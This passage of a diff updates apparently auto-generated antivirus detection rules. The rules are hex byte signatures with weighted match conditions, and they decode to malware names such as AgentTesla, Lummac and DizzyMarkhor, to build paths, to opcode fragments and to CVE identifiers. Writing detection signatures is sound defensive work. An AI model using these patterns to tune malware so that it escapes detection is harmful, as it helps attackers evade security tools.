5f 74 65 63 68 61 6e 61 72 63 68 79 5f 6e 65 74 5f 2f 50 79 74 68 6f 52 41 54 00 01 00 0a 01 54 4b 65 79 6c 6f 67 67 65 72 01 00 0d 01 75 46 69 6c 65 54 72 61 6e } //16675 - $a_72_1 = {00 0a 01 54 54 44 6f 77 6e 6c 6f 61 64 01 00 08 01 53 45 54 54 49 4e 47 53 01 00 0e 01 55 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 01 00 05 01 23 40 23 40 23 01 00 0a 01 50 6c 75 67 69 6e 44 61 74 61 01 00 0f 01 4f 6e 50 6c 75 67 69 6e 4d 65 73 73 61 67 65 00 00 78 b4 00 00 0a 00 0a 00 01 00 21 23 54 45 } //26227 - $a_72_2 = {6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 63 2e 50 47 4c 21 4d 54 42 00 0a 00 87 03 16 13 07 38 e3 ff ff ff 28 90 01 01 00 00 0a 11 01 11 08 1e 6f 90 01 01 00 00 0a 17 8d 90 01 01 00 00 01 6f 90 01 01 00 00 0a 28 90 01 01 00 00 06 28 90 01 01 00 00 0a } //14924 - $a_00_3 = {70 } //626 p - $a_01_4 = {00 } //-28632 - $a_90_5 = {01 00 00 0a 28 90 01 01 00 00 0a 39 b0 ff ff ff 38 17 00 00 00 11 01 11 02 1c 58 28 90 01 01 00 00 0a 13 03 20 03 00 00 00 38 eb fd ff ff 11 01 11 08 1f 14 58 28 90 01 01 00 00 0a 13 09 90 00 00 00 78 b4 00 00 0a 00 0a 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 41 21 4d 54 42 00 05 00 } //2560 - $a_06_6 = {0d 09 0c 08 2c 11 08 72 90 02 } //825 - $a_90_7 = {04 2d 02 2b 02 2b 15 06 28 [0-04] 74 18 00 00 01 0b 07 28 [0-04] 00 2b 00 72 [0-03] 70 13 04 2b 00 11 04 2a } //28675 + $a_72_1 = {00 0a 01 54 54 44 6f 77 6e 6c 6f 61 64 01 00 08 01 53 45 54 54 49 4e 47 53 01 00 0e 01 55 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 01 00 05 01 23 40 23 40 23 01 00 0a 01 50 6c 75 67 69 6e 44 61 74 61 01 00 0f 01 4f 6e 50 6c 75 67 69 6e 4d 65 73 73 61 67 65 00 00 78 b4 00 00 0a 00 0a 00 03 00 21 23 48 53 } //26227 + $a_54_2 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 41 21 4d 54 42 00 05 00 39 03 0a 06 0d 09 0c 08 2c 11 08 72 90 02 03 70 28 90 02 04 2d 02 2b 02 2b 15 06 28 90 02 04 74 } //21076 + $a_90_4 = {04 00 2b 00 72 90 02 03 70 13 04 2b 00 11 04 2a 90 00 04 00 26 03 70 0b 06 8e 69 17 59 0c 2b 19 00 07 06 08 8f 90 02 04 } //1803 + $a_04_5 = {28 90 } //-28632 + $a_00_6 = {08 17 59 0c 08 15 fe 02 90 00 01 } //1026 + $a_00_7 = {54 } //8192 T condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26227+(#a_72_2 & 1)*14924+(#a_00_3 & 1)*626+(#a_01_4 & 1)*-28632+(#a_90_5 & 1)*2560+(#a_06_6 & 1)*825+(#a_90_7 & 1)*28675) >=8 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26227+(#a_54_2 & 1)*21076+(#a_90_4 & 1)*1803+(#a_04_5 & 1)*-28632+(#a_00_6 & 1)*1026+(#a_00_7 & 1)*8192) >=8 } -rule _InfrastructureShared_12541{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 63 2e 50 47 4c 21 4d 54 42 00 0a 00 87 03 16 13 07 38 e3 ff ff ff 28 90 01 01 00 00 0a 11 01 11 08 1e 6f 90 01 01 00 00 0a 17 8d 90 01 01 00 00 01 6f 90 01 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_12542{ +rule _InfrastructureShared_13362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -139952,7 +149250,7 @@ rule _InfrastructureShared_12542{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1041+(#a_01_2 & 1)*1) >=10 } -rule _InfrastructureShared_12543{ +rule _InfrastructureShared_13363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -139970,7 +149268,7 @@ rule _InfrastructureShared_12543{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*26881+(#a_44_3 & 1)*24940+(#a_01_4 & 1)*-29413+(#a_28_5 & 1)*3329+(#a_01_7 & 1)*28426+(#a_65_8 & 1)*29806+(#a_00_9 & 1)*400+(#a_11_10 & 1)*4952) >=10 } -rule _InfrastructureShared_12544{ +rule _InfrastructureShared_13364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -139982,7 +149280,7 @@ rule _InfrastructureShared_12544{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*9473+(#a_8d_2 & 1)*6693) >=12 } -rule _InfrastructureShared_12545{ +rule _InfrastructureShared_13365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -139994,7 +149292,7 @@ rule _InfrastructureShared_12545{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*2311+(#a_4c_2 & 1)*21325) >=12 } -rule _InfrastructureShared_12546{ +rule _InfrastructureShared_13366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -140007,7 +149305,7 @@ rule _InfrastructureShared_12546{ ((#a_54_0 & 1)*18467+(#a_26_1 & 1)*9747+(#a_00_2 & 1)*400+(#a_11_3 & 1)*4952) >=13 } -rule _InfrastructureShared_12547{ +rule _InfrastructureShared_13367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -140020,7 +149318,7 @@ rule _InfrastructureShared_12547{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*18517+(#a_61_2 & 1)*14386+(#a_01_3 & 1)*10241) >=13 } -rule _InfrastructureShared_12548{ +rule _InfrastructureShared_13368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -140033,7 +149331,7 @@ rule _InfrastructureShared_12548{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29204+(#a_6c_2 & 1)*26707+(#a_63_3 & 1)*11) >=13 } -rule _InfrastructureShared_12549{ +rule _InfrastructureShared_13369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0a 00 21 " @@ -140051,7 +149349,7 @@ rule _InfrastructureShared_12549{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*9+(#a_41_2 & 1)*24940+(#a_79_3 & 1)*25701+(#a_b4_5 & 1)*0+(#a_69_6 & 1)*8308+(#a_38_7 & 1)*16969+(#a_90_8 & 1)*-31996+(#a_2e_9 & 1)*-9926) >=13 } -rule _InfrastructureShared_12550{ +rule _InfrastructureShared_13370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -140065,7 +149363,7 @@ rule _InfrastructureShared_12550{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*25927+(#a_2e_2 & 1)*28526+(#a_6c_3 & 1)*8308+(#a_6a_4 & 1)*29268) >=14 } -rule _InfrastructureShared_12551{ +rule _InfrastructureShared_13371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,67 00 67 00 04 00 21 " @@ -140078,7 +149376,7 @@ rule _InfrastructureShared_12551{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29295+(#a_74_2 & 1)*25178+(#a_8b_3 & 1)*7056) >=103 } -rule _InfrastructureShared_12552{ +rule _InfrastructureShared_13372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -140088,7 +149386,7 @@ rule _InfrastructureShared_12552{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12553{ +rule _InfrastructureShared_13373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -140098,7 +149396,7 @@ rule _InfrastructureShared_12553{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12554{ +rule _InfrastructureShared_13374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -140108,7 +149406,7 @@ rule _InfrastructureShared_12554{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12555{ +rule _InfrastructureShared_13375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -140118,7 +149416,7 @@ rule _InfrastructureShared_12555{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12556{ +rule _InfrastructureShared_13376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -140128,7 +149426,7 @@ rule _InfrastructureShared_12556{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12557{ +rule _InfrastructureShared_13377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -140140,7 +149438,7 @@ rule _InfrastructureShared_12557{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26740+(#a_46_2 & 1)*22066) >=1 } -rule _InfrastructureShared_12558{ +rule _InfrastructureShared_13378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -140152,32 +149450,45 @@ rule _InfrastructureShared_12558{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25904+(#a_66_2 & 1)*25857) >=1 } -rule _InfrastructureShared_12559{ +rule _InfrastructureShared_13379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_57_0 = {49 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 64 69 66 69 65 64 45 78 65 63 75 74 61 62 6c 65 21 4b 63 72 63 42 65 57 61 72 65 00 01 00 23 03 8d 37 8d 37 b9 90 01 04 42 81 fa 90 01 04 75 90 01 01 b9 90 01 04 8b f8 be 90 01 04 f3 a4 } //19491 $a_90_1 = {01 00 1a 03 8d 37 8d 37 b9 90 01 04 42 81 fa 90 01 04 75 90 01 01 b8 90 01 04 ff d0 90 00 01 00 31 03 8d 37 8d 37 b9 90 01 04 f3 aa 42 81 fa 90 01 04 75 90 01 01 61 33 d2 83 f9 90 01 01 74 90 01 01 b0 90 01 01 83 e3 00 bb 00 00 00 00 30 04 1e 90 00 00 00 78 b5 00 00 01 00 01 00 04 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 28 01 74 63 72 79 70 74 5f 63 6c 32 5c 74 63 72 79 70 74 5f 63 6c 32 5c 52 65 6c 65 61 73 65 5c 73 5f 68 69 67 68 2e 70 64 62 01 00 27 01 74 63 72 79 70 74 5f 63 6c 32 5c 74 63 72 79 70 74 5f 63 6c 32 5c 52 65 6c 65 61 73 65 5c 73 5f 6c 6f 77 2e 70 64 62 01 00 1a 01 5c 74 63 72 79 70 74 5c 52 65 6c } //-176 - $a_65_2 = {73 5f 68 69 67 68 2e 70 64 62 01 00 19 01 5c 74 63 72 79 70 74 5c 52 65 6c 65 61 73 65 5c 73 5f 6c 6f 77 2e 70 64 62 00 00 78 b5 00 00 02 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 79 6d 6d 69 2e 53 49 42 21 4d 54 42 00 01 00 48 03 81 e2 ff 00 00 80 90 18 0f b6 84 15 90 01 04 89 85 90 01 04 33 c9 90 18 8b 85 90 } //24933 + $a_65_2 = {73 5f 68 69 67 68 2e 70 64 62 01 00 19 01 5c 74 63 72 79 70 74 5c 52 65 6c 65 61 73 65 5c 73 5f 6c 6f 77 2e 70 64 62 00 00 78 b5 00 00 01 00 01 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 69 7a 7a 79 4d 61 72 6b 68 6f 72 2e 41 21 64 68 61 00 01 00 11 80 01 5c 50 61 63 6b 65 72 5c 43 79 62 65 72 4c 69 6e 6b 01 00 23 80 } //24933 condition: ((#a_57_0 & 1)*19491+(#a_90_1 & 1)*-176+(#a_65_2 & 1)*24933) >=1 } -rule _InfrastructureShared_12560{ +rule _InfrastructureShared_13380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 28 01 74 63 72 79 70 74 5f 63 6c 32 5c 74 63 72 79 70 74 5f 63 6c 32 5c 52 65 6c 65 61 73 65 5c 73 5f 68 69 67 68 2e 70 64 62 01 00 27 01 74 63 72 79 70 74 5f 63 6c 32 5c 74 63 72 79 70 74 5f 63 6c 32 5c 52 65 6c 65 61 73 65 5c 73 5f 6c 6f 77 2e 70 64 62 01 00 1a } //25635 - $a_63_1 = {79 70 74 5c 52 65 6c 65 61 73 65 5c 73 5f 68 69 67 68 2e 70 64 62 01 00 19 01 5c 74 63 72 79 70 74 5c 52 65 6c 65 61 73 65 5c 73 5f 6c 6f 77 2e 70 64 62 00 00 78 b5 00 00 02 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 79 6d 6d 69 2e 53 49 42 21 4d 54 42 00 01 00 48 03 81 e2 ff 00 00 80 90 18 0f b6 84 15 90 01 04 89 } //23553 - $a_04_2 = {33 } //-28539 3 - $a_8b_3 = {90 01 04 03 85 90 01 04 8a 95 90 1b 02 8a 08 90 18 90 02 0a 88 55 90 01 } //-28471 + $a_63_1 = {79 70 74 5c 52 65 6c 65 61 73 65 5c 73 5f 68 69 67 68 2e 70 64 62 01 00 19 01 5c 74 63 72 79 70 74 5c 52 65 6c 65 61 73 65 5c 73 5f 6c 6f 77 2e 70 64 62 00 00 78 b5 00 00 01 00 01 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 69 7a 7a 79 4d 61 72 6b 68 6f 72 2e 41 21 64 68 61 00 01 00 11 80 01 5c 50 61 63 6b 65 72 5c 43 79 } //23553 + $a_4c_2 = {6e 6b 01 00 23 80 01 5c 4d 75 6c 74 69 74 68 72 65 61 64 20 50 72 6f 74 6f 63 6f 6c 20 41 72 63 68 69 74 65 63 74 75 72 65 5c 01 00 11 80 01 28 4e 65 77 20 44 4c 4c 20 42 61 73 65 64 36 34 29 01 00 10 03 5c 44 55 73 65 72 5c 90 02 18 2e 63 70 70 90 00 01 00 1b 03 5c 00 44 00 55 00 73 00 65 00 72 00 5c 00 90 02 30 2e 00 63 00 70 00 70 00 90 } //25954 condition: - ((#a_5f_0 & 1)*25635+(#a_63_1 & 1)*23553+(#a_04_2 & 1)*-28539+(#a_8b_3 & 1)*-28471) >=1 + ((#a_5f_0 & 1)*25635+(#a_63_1 & 1)*23553+(#a_4c_2 & 1)*25954) >=1 } -rule _InfrastructureShared_12561{ +rule _InfrastructureShared_13381{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 69 7a 7a 79 4d 61 72 6b 68 6f 72 2e 41 21 64 68 61 00 01 00 11 80 01 5c 50 61 63 6b 65 72 5c 43 79 62 65 72 4c 69 6e 6b 01 00 23 80 01 5c 4d 75 6c 74 69 74 68 72 65 61 64 20 50 72 6f 74 } //16675 + $a_6c_1 = {41 72 63 68 69 74 65 63 74 75 72 65 5c 01 00 11 80 01 28 4e 65 77 20 44 4c 4c 20 42 61 73 65 64 36 34 29 01 00 10 03 5c 44 55 73 65 72 5c 90 02 18 2e 63 70 70 90 00 01 00 1b 03 5c 00 44 00 55 00 73 00 65 00 72 00 5c 00 90 02 30 2e 00 63 00 70 00 70 00 90 00 00 00 78 b5 00 00 02 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //25455 + $a_33_2 = {2f 53 79 6d 6d 69 2e 53 49 42 21 4d 54 42 00 01 00 48 03 81 e2 ff 00 00 80 90 18 0f b6 84 15 90 01 04 89 85 90 01 04 33 c9 90 18 8b 85 90 01 04 03 85 90 01 04 8a 95 90 1b 02 8a 08 90 18 90 02 0a 88 55 90 01 01 88 4d 90 01 01 0f b6 45 90 1b 0a 0f b6 4d 90 1b 09 33 c1 90 00 01 00 3c 03 81 e2 ff 00 00 80 90 18 0f b6 84 15 90 01 04 } //26967 + $a_01_3 = {04 33 c9 90 18 8b 85 90 01 04 03 85 90 01 04 8a 95 90 1b 02 8a 08 e8 e1 f0 ff ff 8b 8d 90 1b 04 03 8d 90 1b 05 88 01 90 00 00 00 78 b5 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 49 42 21 4d 54 42 00 01 00 56 03 8b 04 30 ff 90 02 0a be 90 01 04 90 02 30 81 f6 90 01 04 90 02 0a 81 ee 90 01 04 90 02 0a 56 90 02 07 be 90 01 04 90 02 2e 81 ee 90 01 04 90 02 0a 56 90 } //-31351 + $a_90_4 = {04 90 02 10 81 f6 b4 86 6a 0b 90 02 22 56 90 02 05 31 ff 90 02 0a 57 90 02 0a ff d0 90 00 01 00 2b 03 8b 34 0a f8 90 02 0a 81 f6 90 01 04 90 02 0a 09 34 08 90 02 0a 83 e9 fc 90 02 0a 81 f9 90 01 04 75 90 01 01 90 02 05 ff d0 90 00 00 00 78 b5 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 45 57 31 21 4d 54 42 00 01 00 3a 01 11 07 11 0d 91 13 0e 11 0c 17 58 08 5d 13 0f 07 11 0c 02 07 11 0c 91 11 0e 61 07 11 0f 91 59 28 5f 00 00 06 28 a6 00 00 0a 9c 11 0c 17 58 13 0c 11 0c 07 8e 69 3f 6e ff ff ff } //2562 + condition: + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25455+(#a_33_2 & 1)*26967+(#a_01_3 & 1)*-31351+(#a_90_4 & 1)*2562) >=1 + +} +rule _InfrastructureShared_13382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " @@ -140188,7 +149499,7 @@ rule _InfrastructureShared_12561{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-30710) >=1 } -rule _InfrastructureShared_12562{ +rule _InfrastructureShared_13383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -140199,7 +149510,7 @@ rule _InfrastructureShared_12562{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28434) >=2 } -rule _InfrastructureShared_12563{ +rule _InfrastructureShared_13384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -140210,7 +149521,7 @@ rule _InfrastructureShared_12563{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*3091) >=2 } -rule _InfrastructureShared_12564{ +rule _InfrastructureShared_13385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -140220,7 +149531,7 @@ rule _InfrastructureShared_12564{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12565{ +rule _InfrastructureShared_13386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -140230,7 +149541,7 @@ rule _InfrastructureShared_12565{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_12566{ +rule _InfrastructureShared_13387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -140241,7 +149552,7 @@ rule _InfrastructureShared_12566{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-55) >=2 } -rule _InfrastructureShared_12567{ +rule _InfrastructureShared_13388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -140252,7 +149563,7 @@ rule _InfrastructureShared_12567{ ((#a_46_0 & 1)*21283+(#a_8b_1 & 1)*4843) >=2 } -rule _InfrastructureShared_12568{ +rule _InfrastructureShared_13389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -140263,7 +149574,7 @@ rule _InfrastructureShared_12568{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*70) >=2 } -rule _InfrastructureShared_12569{ +rule _InfrastructureShared_13390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -140275,7 +149586,7 @@ rule _InfrastructureShared_12569{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*2+(#a_ce_2 & 1)*-1545) >=2 } -rule _InfrastructureShared_12570{ +rule _InfrastructureShared_13391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -140287,7 +149598,7 @@ rule _InfrastructureShared_12570{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*0+(#a_6f_2 & 1)*25938) >=2 } -rule _InfrastructureShared_12571{ +rule _InfrastructureShared_13392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -140298,7 +149609,7 @@ rule _InfrastructureShared_12571{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-3259) >=2 } -rule _InfrastructureShared_12572{ +rule _InfrastructureShared_13393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -140309,7 +149620,7 @@ rule _InfrastructureShared_12572{ ((#a_6f_0 & 1)*21539+(#a_01_2 & 1)*1) >=2 } -rule _InfrastructureShared_12573{ +rule _InfrastructureShared_13394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -140322,33 +149633,49 @@ rule _InfrastructureShared_12573{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-18929+(#a_83_2 & 1)*2+(#a_4b_3 & 1)*17732) >=2 } -rule _InfrastructureShared_12574{ +rule _InfrastructureShared_13395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4c 69 6e 6b 75 72 79 44 65 63 72 79 70 74 41 50 49 2e 41 31 00 01 00 18 01 89 04 24 8a 07 8a 4f 01 28 c1 c0 e0 04 04 f0 08 c8 83 fb 04 88 06 72 45 01 00 20 01 0f be 4c 47 01 0f be 14 47 89 f5 0f be 74 47 } //16675 $a_29_1 = {83 c3 0e 29 d1 0f 48 cb 89 d3 29 f3 01 00 21 01 83 c3 5e 29 f2 89 ee 8b 6c 24 04 0f 48 d3 83 e1 0f c1 e2 04 09 d1 88 0c 06 40 39 e8 7c c2 ff 36 e8 01 00 21 01 31 d2 89 d8 f7 f7 f6 c3 01 8a 44 15 00 74 02 f6 d8 8b 54 24 14 02 44 1a 04 88 04 19 43 39 de 75 df 00 00 78 b5 00 00 02 00 02 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 45 64 69 74 65 64 44 72 65 61 6d 2e 45 21 64 68 61 00 01 00 19 01 72 65 63 74 20 66 69 6c 65 20 74 72 61 6e 73 20 63 6f 6d 6d 61 6e 64 0d 0a 01 00 16 01 46 69 6c 65 20 69 73 20 73 74 69 6c 6c 20 74 72 61 6e 73 69 6e 67 01 00 17 01 64 6f } //-30209 - $a_74_2 = {6e 65 65 64 20 6d 6f 64 75 6c 65 3f 3f 3f 3f 00 01 00 16 01 47 69 66 74 42 6f 78 48 54 54 50 44 6c 6c 53 65 65 64 2e 64 6c 6c 01 00 11 01 6c 69 62 45 78 4d 6f 64 75 6c 65 76 31 2e 64 6c 6c 00 00 78 b5 00 00 02 00 02 00 0b 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 50 61 6d 65 73 65 67 21 53 74 72 69 6e 67 73 } //28192 + $a_74_2 = {6e 65 65 64 20 6d 6f 64 75 6c 65 3f 3f 3f 3f 00 01 00 16 01 47 69 66 74 42 6f 78 48 54 54 50 44 6c 6c 53 65 65 64 2e 64 6c 6c 01 00 11 01 6c 69 62 45 78 4d 6f 64 75 6c 65 76 31 2e 64 6c 6c 00 00 78 b5 00 00 02 00 02 00 07 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 41 6c 61 43 61 72 74 65 2e 4b 63 74 2e 48 6f 6f } //28192 + $a_65_3 = {21 64 68 61 00 02 00 14 23 25 30 00 00 00 90 02 4b 60 90 02 4b 58 90 02 4b ff 15 90 00 9c ff 0d 80 01 43 56 45 2d 32 30 32 31 2d 31 37 33 32 9c ff 0d 80 01 43 56 45 2d 32 30 31 35 2d 30 30 35 37 9c ff 08 80 01 4d 53 31 35 2d 30 31 30 9c ff 0d 80 01 43 } //11883 condition: - ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*-30209+(#a_74_2 & 1)*28192) >=2 + ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*-30209+(#a_74_2 & 1)*28192+(#a_65_3 & 1)*11883) >=2 } -rule _InfrastructureShared_12575{ +rule _InfrastructureShared_13396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 45 64 69 74 65 64 44 72 65 61 6d 2e 45 21 64 68 61 00 01 00 19 01 72 65 63 74 20 66 69 6c 65 20 74 72 61 6e 73 20 63 6f 6d 6d 61 6e 64 0d 0a 01 00 16 01 46 69 6c 65 20 } //16675 $a_73_1 = {69 6c 6c 20 74 72 61 6e 73 69 6e 67 01 00 17 01 64 6f 20 6e 6f 74 20 6e 65 65 64 20 6d 6f 64 75 } //29545 - $a_3f_2 = {3f 00 01 00 16 01 47 69 66 74 42 6f 78 48 54 54 50 44 6c 6c 53 65 65 64 2e 64 6c 6c 01 00 11 01 6c 69 62 45 78 4d 6f 64 75 6c 65 76 31 2e 64 6c 6c 00 00 78 b5 00 00 02 00 02 00 0b 00 21 23 } //25964 - $a_52_3 = {50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 50 61 6d 65 73 65 67 21 53 74 72 69 6e 67 73 00 01 00 12 03 53 65 6e 64 53 4d 53 90 02 01 53 74 72 69 6e 67 90 00 01 00 0a 01 30 39 33 30 33 39 39 39 39 39 01 00 07 01 31 36 34 35 39 37 36 01 00 08 01 31 39 39 } //21320 - $a_37_4 = {01 00 07 01 32 34 30 36 34 31 35 01 00 06 01 34 38 33 32 33 33 01 00 06 01 36 37 36 38 34 39 01 00 07 01 38 31 30 39 35 38 30 01 00 08 01 39 30 36 34 35 30 34 } //13625 + $a_3f_2 = {3f 00 01 00 16 01 47 69 66 74 42 6f 78 48 54 54 50 44 6c 6c 53 65 65 64 2e 64 6c 6c 01 00 11 01 6c 69 62 45 78 4d 6f 64 75 6c 65 76 31 2e 64 6c 6c 00 00 78 b5 00 00 02 00 02 00 07 00 21 23 } //25964 + $a_3a_3 = {78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 41 6c 61 43 61 72 74 65 2e 4b 63 74 2e 48 6f 6f 6b 2e 54 65 62 21 64 68 61 00 02 00 14 23 25 30 00 00 00 90 02 4b 60 90 02 4b 58 90 02 4b ff 15 90 00 9c ff 0d 80 01 43 56 } //19521 + $a_30_4 = {31 2d 31 37 33 32 9c ff 0d 80 01 43 56 45 2d 32 30 31 35 2d 30 30 35 37 9c ff 08 80 01 4d 53 31 35 2d 30 31 30 9c ff 0d 80 01 43 56 45 2d 32 30 31 39 } //11589 condition: - ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29545+(#a_3f_2 & 1)*25964+(#a_52_3 & 1)*21320+(#a_37_4 & 1)*13625) >=2 + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29545+(#a_3f_2 & 1)*25964+(#a_3a_3 & 1)*19521+(#a_30_4 & 1)*11589) >=2 } -rule _InfrastructureShared_12576{ +rule 